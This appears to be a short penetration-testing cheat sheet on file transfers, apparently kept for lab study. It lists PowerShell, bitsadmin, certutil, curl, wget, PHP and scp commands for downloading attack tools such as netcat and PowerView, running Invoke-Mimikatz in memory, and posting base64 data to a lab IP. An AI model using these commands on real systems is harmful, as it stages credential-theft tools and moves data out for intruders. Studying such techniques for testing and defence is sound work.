File Transfers
Invoke-WebRequest <Target>/<File-to-Download> -OutFile <Output-File-Name> # Download a file using Powershell. Example: Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1
Invoke-WebRequest <File-to-Download> -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "<Output-File>" # Changing the User agent. Example: Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe" # Changing the User agent.
IEX (New-Object Net.WebClient).DownloadString('<Target>/<File-to-Execute>') # Execute a file in memory using powershell. Example: IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke
Mimikatz.ps1')
Invoke-WebRequest -Uri <Target-to-Upload> -Method POST -Body <Data-to-Upload> # Upload a file using Powershell. Example: Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64
bitsadmin /transfer n <Source-to-Download-from>/<File-Name> <Output-Path> # Download a file using bitsadmin. Example: bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe
certutil.exe -verifyctl -split -f <Source-to-Download-From>/<File-Name> # Download a file using certutil. Example: certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe
wget <Link-to-Download-From> # Downloading a file using wget.
curl -o <Output-File-Name> <URL-to-Download-From> # Download a file using curl.
php -r '$file = file_get_contents("<Source-to-Download-from>"); file_put_contents("<Output-File>",$file);' # Download a file using PHP
scp <Output-File> <Source-to-Download-from> # Download a file using scp. Example: scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zipLast updated